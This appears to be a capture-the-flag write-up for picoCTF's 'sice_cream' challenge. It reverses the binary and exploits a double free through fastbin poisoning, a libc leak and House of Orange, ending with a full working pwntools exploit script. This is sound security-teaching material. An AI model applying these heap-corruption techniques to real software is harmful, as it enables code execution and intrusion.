# sice_cream
> Just pwn this [program](sice_cream) and get a flag. Connect with `nc 2019shell1.picoctf.com 5033`. [libc.so.6](libc.so.6) [ld-2.23.so](ld-2.23.so).
> Hints: Make sure to both files are in the same directory as the executable, and set `LD_PRELOAD` to the path of `libc.so.6`
We are given a stripped binary called `sice_cream` as well as two libc files: `libc.so.6` and `ld-2.23.so`. Therefore, we know we are working in GLIBC version 2.23. When running (with `LD_PRELOAD=./libc.so.6`; also make sure all three files are marked as executable), we are prompted for a name, then greeted with a four option menu: `Buy sice cream`, `Eat sice cream`, `Reintroduce yourself`, and `Exit`. Before we move on, let's also take a look at the checksec for this problem:```[*] '/.../sice_cream'    Arch:     amd64-64-little    RELRO:    Full RELRO    Stack:    Canary found    NX:       NX enabled    PIE:      No PIE (0x400000)    RUNPATH:  './'```Notably, `Full RELRO` means the GOT is not writeable, which rules out quite a few attack vectors. Having `PIE` disabled is nice though, and suggests that we might need to use a fixed address of some function or global variable in our exploit. After a bit of messing around, our next logical step is to reverse the binary. With some Ghidra, `objdump`, and `gdb`, we get:```c#include <stdio.h>#include <stdlib.h>#include <unistd.h>#include <ctype.h>
// note: creams is stored in memory right after namechar name[256];char* creams[20];
// 0x400cc4void printfile(char *filename){	char c;	FILE *file; 	file = fopen(filename,"r");	if (file != NULL) {		while (1) {			c = getc(file);			if (c == 0xff) break;			putchar(c);		}	}}
int get_num_creams() {  int ct;  for (ct = 0; creams[ct] != NULL; ct++) {    if (ct > 19) {      return -1;    }  }  return ct;}
void eat() {	char buf[24];	puts("Which sice cream do you want to eat?");	printf("> ");	read(0,buf,16);	uint which = (uint)strtoul(buf,NULL,10);	if (which > 19) {		puts("Invalid index!");		exit(-1);	}	// horrible, allows double free	free(creams[which]);	puts("Yum!");}
void buy() {	char buf[24];	int num_creams = get_num_creams();	if (num_creams < 0) {		puts("Out of space!");		exit(-1);	}	puts("How much sice cream do you want?");	printf("> ");	read(0,buf,16);	uint amt = (uint)strtoul(buf,NULL,10);	if (amt > 88) {		puts("That\'s too much sice cream!");		exit(-1);	}	char* newcream = malloc(amt);	creams[num_creams] = newcream;	puts("What flavor?");	printf("> ");	read(0,creams[num_creams],amt);	puts("Here you go!");}
// If name is not null-terminated (i.e. we fill all 256 chars)// then rename() will leak creams[0]void reintroduce() {	puts("What\'s your name again?");	printf("> ");	read(0,name,256);	printf("Ah, right! How could a forget a name like %s!\n",name);}
void menu() {	puts("1. Buy sice cream");	puts("2. Eat sice cream");	puts("3. Reintroduce yourself");	puts("4. Exit");}
void main() {	int choice;	char buf[24];	setvbuf(stdin,NULL,_IONBF,0);	setvbuf(stdout,NULL,_IONBF,0);	puts("Welcome to the Sice Cream Store!");	puts("We have the best sice cream in the world!");	puts("Whats your name?");	printf("> ");	read(0,name,256);
	while (1) {		menu();		printf("> ");		read(0,buf,16);		choice = (int)strtoul(buf,NULL,10);		switch(choice) {			case 1:				buy();				break;			case 2:				eat();				break;			case 3:				reintroduce();				break;			case 4:				puts("Too hard? ;)");			default:				exit(0);		}	}}```Obviously, this is a heap exploitation problem. We also note a few things:- We are restricted to `buy`ing pointers of fastbin size (in fact, maxing out at `0x58`).- There is an unreferenced function at `0x400cc4` that prints out the file given by its argument.- Eating a sice cream `free`s the respective pointer, but does not `NULL` it out in `creams`. This allows us to potentially abuse a double free.- `name` is directly above `creams` in memory.- If we `reintroduce` with a name of the full length `256`, we can leak the first pointer in `creams`.
Since most heap problems require a libc leak at some point, we think of ways to do this. Unfortunately, we can only allocate fastbin size chunks, which will not produce libc pointers. If only we could make a smallbin chunk...
The key observation to make from here is that `rename` lets us have total control of `256` bytes (actually `255` because of the forced `\n`) in memory. We actually _can_ make a smallbin chunk: a forged one in `name`. Of course, we wouldn't be able to free that smallbin chunk to actually get the libc pointers written in unless we controlled `creams`.
But we can in fact control `creams`! Remembering that `name` is right above `creams` in memory, we realize that we can use a  double free into fastbin forward pointer poisoning to get `malloc` to return a fake chunk in `name`, right above `creams`! Thus, we will write into `name` the following data:```[name]0x602040:    0x0000000000000000    0x00000000000000c10x602050:    0x0000000000000000    0x00000000000000000x602060:    0x0000000000000000    0x00000000000000000x602070:    0x0000000000000000    0x00000000000000000x602080:    0x0000000000000000    0x00000000000000000x602090:    0x0000000000000000    0x00000000000000000x6020a0:    0x0000000000000000    0x00000000000000000x6020b0:    0x0000000000000000    0x00000000000000000x6020c0:    0x0000000000000000    0x00000000000000000x6020d0:    0x0000000000000000    0x00000000000000000x6020e0:    0x0000000000000000    0x00000000000000000x6020f0:    0x0000000000000000    0x00000000000000000x602100:    0x00000000000000c1    0x00000000000000310x602110:    0x0000000000000000    0x00000000000000000x602120:    0x0000000000000000    0x00000000000000000x602130:    0x0000000000000000    0x0000000000000041[creams]0x602140:    ...```By abusing double free, we can coerce malloc into returning the chunk at `0x602130`, which in turn means we can write `0x602040` into `creams[0]`, and thus free our fake fastbin chunk by `eat`ing `0`. (The chunk in between is to pass corruption checks.) If we do this, `name` will begin like so:```0x602040:    0x0000000000000000    0x00000000000000c10x602050:    <  libc pointer  >    <  libc pointer  >```... and reintroducing ourselves with the name `AAAAAAAABBBBBBBB` will allow us to leak libc.
From here, we might get stuck. Ideally, we would finish by using the same exploit and tricking `malloc` into returning a fake (misaligned) chunk of size `7f` right above `__malloc_hook`, then writing what we want into `__malloc_hook`. But such a chunk would be of fastbin size, and we can only allocate chunks of size up to `0x60`, so that wouldn't work.
Eventually, we remember than we are in libc 2.23, which is coincidentally the version right before an exploit called House of Orange was patched. This exploit (in a _very_ brief nutshell; see [here](https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c) for more details, referring to "phase two" of the attack) allows us to call an arbitrary function by modifying the contents of a `free`'d chunk in the unsorted bin. We might consider the standard `system("/bin/sh")`; however, when this is manually tested, we notice that `system` will silently crash and do nothing. This limitation is because we are using `LD_PRELOAD`: `/bin/sh` will crash when executed with this wrong version of libc. (This issue means that any normal finish involving getting a shell probably won't work). But we recall the secret `print_file` function: we can simply call `print_file("flag.txt")`. Now that we know what to do, we give our exploit script (with useful comments):```pythonfrom pwn import *import time
""" Helper methods """def wait():	time.sleep(0.05)def flush():	return p.recv(4096)
def buy(name, amt):	p.sendline("1")	p.recvuntil("How much sice cream do you want?")	p.sendline(str(amt))	p.recvuntil("What flavor?")	p.sendline(name)	p.recvuntil("4. Exit")	wait()def eat(n):	p.sendline("2")	p.recvuntil("Which sice cream do you want to eat?")	p.sendline(str(n))	p.recvuntil("4. Exit\n")	wait()def rename(s):	p.sendline("3")	p.recvuntil("What's your name again?")	p.sendline(s)	wait()	return flush()
# Converts a string containing memory into a packed exploit stringdef str2payload(s):	s = s.replace("\n"," ")	s = s.replace("\t"," ")	# We ignore chunks ending with ":" for convenience	mem = [x for x in s.split(" ") if x is not "" and not x[-1] == ":"]	nums = [int(x,16) for x in mem]	return ''.join([p64(x) for x in nums])
# Converts a leaked pointer string into an integer addressdef leak2addr(s):    if s == '':        return -1    bytelist = [ord(x) for x in s]    assert len(bytelist) <= 8    assert len(bytelist) >= 4    lsw = bytelist[0:4]    msw = bytelist[4:8]    while len(msw) < 4:    	msw.append(0)    lsw_val = lsw[0] *1 + lsw[1] *256 + lsw[2] *256*256 + lsw[3] *256*256*256    msw_val = msw[0] *1 + msw[1] *256 + msw[2] *256*256 + msw[3] *256*256*256    val = lsw_val + 256*256*256*256 * msw_val    return val
# Secret function that prints out the contents of a file given by its argument.PRINT_FILE = 0x400cc4
""" Exploit """# p = process('./sice_cream', env={"LD_PRELOAD": "/home/alex/CTF/sice/libc.so.6"})p = remote('2019shell1.picoctf.com', 5033)p.sendline("~~~~")wait()
# Our first job is to get a libc leak. We will accomplish this by writing a fake# fastbin chunk into name and freeing it.m1 = """0x602040:    0x0000000000000000    0x00000000000000c10x602050:    0x0000000000000000    0x00000000000000000x602060:    0x0000000000000000    0x00000000000000000x602070:    0x0000000000000000    0x00000000000000000x602080:    0x0000000000000000    0x00000000000000000x602090:    0x0000000000000000    0x00000000000000000x6020a0:    0x0000000000000000    0x00000000000000000x6020b0:    0x0000000000000000    0x00000000000000000x6020c0:    0x0000000000000000    0x00000000000000000x6020d0:    0x0000000000000000    0x00000000000000000x6020e0:    0x0000000000000000    0x00000000000000000x6020f0:    0x0000000000000000    0x00000000000000000x602100:    0x00000000000000c1    0x00000000000000310x602110:    0x0000000000000000    0x00000000000000000x602120:    0x0000000000000000    0x00000000000000000x602130:    0x0000000000000000    0x0000000000000041"""# THE LAST CHAR IS REMOVED BECAUSE IT WILL BECOME \npayload1 = str2payload(m1)[:-1]
# Because creams is directly below name in memory, we use double free fastbin# poisoning to get the chunk at RETME, which we can use to write SMALLBIN to# creams[0].RETME = 0x602130SMALLBIN = 0x602050SZ = 56
# Standard double free to coerce malloc to return RETMEbuy("", SZ)# We also need to leak a heap address, and we can do that right after our# first malloc. By filling name with non-NULL bytes we get rename to leak# creams[0] and thus calculate HEAPBASE.flush()rename("A"*255)data = flush()# Note: leak2addr will FAIL if our HEAPBASE happens to have a NULL byte in it.# If so, we can just run again.HEAPBASE = leak2addr(data.split('\n')[1][:-1]) - 0x10print "=== LEAKED HEAPBASE: {0} ===".format(hex(HEAPBASE))
# Put the contents of m1 into name, including our smallbin chunk and the chunk# above as well as a chunk in between to pass the corruption checks.rename(payload1)
# Continue the double freebuy("", SZ)buy("", SZ)eat(0)eat(1)eat(0)# Poison the fastbin fd pointerbuy(p64(RETME),SZ)buy("",SZ)# (We will use this chunk (at HEAPBASE + 0x10) later)buy(p64(PRINT_FILE)*5,SZ)# This malloc will now give us the chunk at RETME, so we can write the address# of our smallbin chunk into creams[0].buy(p64(SMALLBIN),SZ)
# Free the fake smallbin chunkeat(0)
# Leak libc with rename. We fill the first 16 bytes with non-NULL because the# libc address begins at byte 17flush()rename("AAAABBBBCCCCDDD")data = flush()
# Calculate critical offsetsLEAKED = leak2addr(data.split('\n')[1][:-1])LIBC_BASE = LEAKED - 0x3a4438IOLISTALL = LIBC_BASE + 0x3a4de0print "=== LEAKED LIBC: {0} ===".format(hex(LIBC_BASE))print "=== _IO_list_all: [{0}] ===".format(hex(IOLISTALL))
# Set up house of orange exploit. Our vtables address will point to the chunk we# allocated earlier (at HEAPBASE + 0x10), which we filled with the address of# print_file.m2 = """0x602040:    0x7478742e67616c66    0x00000000000001000x602050:    0x0000000000000000    {0}0x602060:    0x0000000000000000    0x00000000000000610x602070:    0x0000000000000000    0x00000000000000000x602080:    0x0000000000000000    0x00000000000000000x602090:    0x0000000000000000    0x00000000000000000x6020a0:    0x0000000000000000    0x00000000000000000x6020b0:    0x0000000000000000    0x00000000000000000x6020c0:    0x0000000000000000    0x00000000000000000x6020d0:    0x0000000000000000    0x00000000000000000x6020e0:    0x0000000000000000    0x00000000000000000x6020f0:    0x0000000000000000    0x00000000000000000x602100:    0x0000000000000000    0x00000000000000610x602110:    0x0000000000000000    {1}0x602120:    0x0000000000000000    0x00000000000000000x602130:    0x0000000000000000    0x0000000000000000""".format(hex(IOLISTALL-16), hex(HEAPBASE+0x10))payload2 = str2payload(m2)[:-1]rename(payload2)
p.interactive()# Now, we just buy a 0x58 (88), which will trigger our HoO chain and flag us!# Note: due to alignment issues we will not always get a flag from this.# If it fails, just run again```After running a few times, we get our flag, a quite fitting comment:> `flag{th3_r3al_questi0n_is_why_1s_libc_2.23_still_4_th1ng_19e46be4}`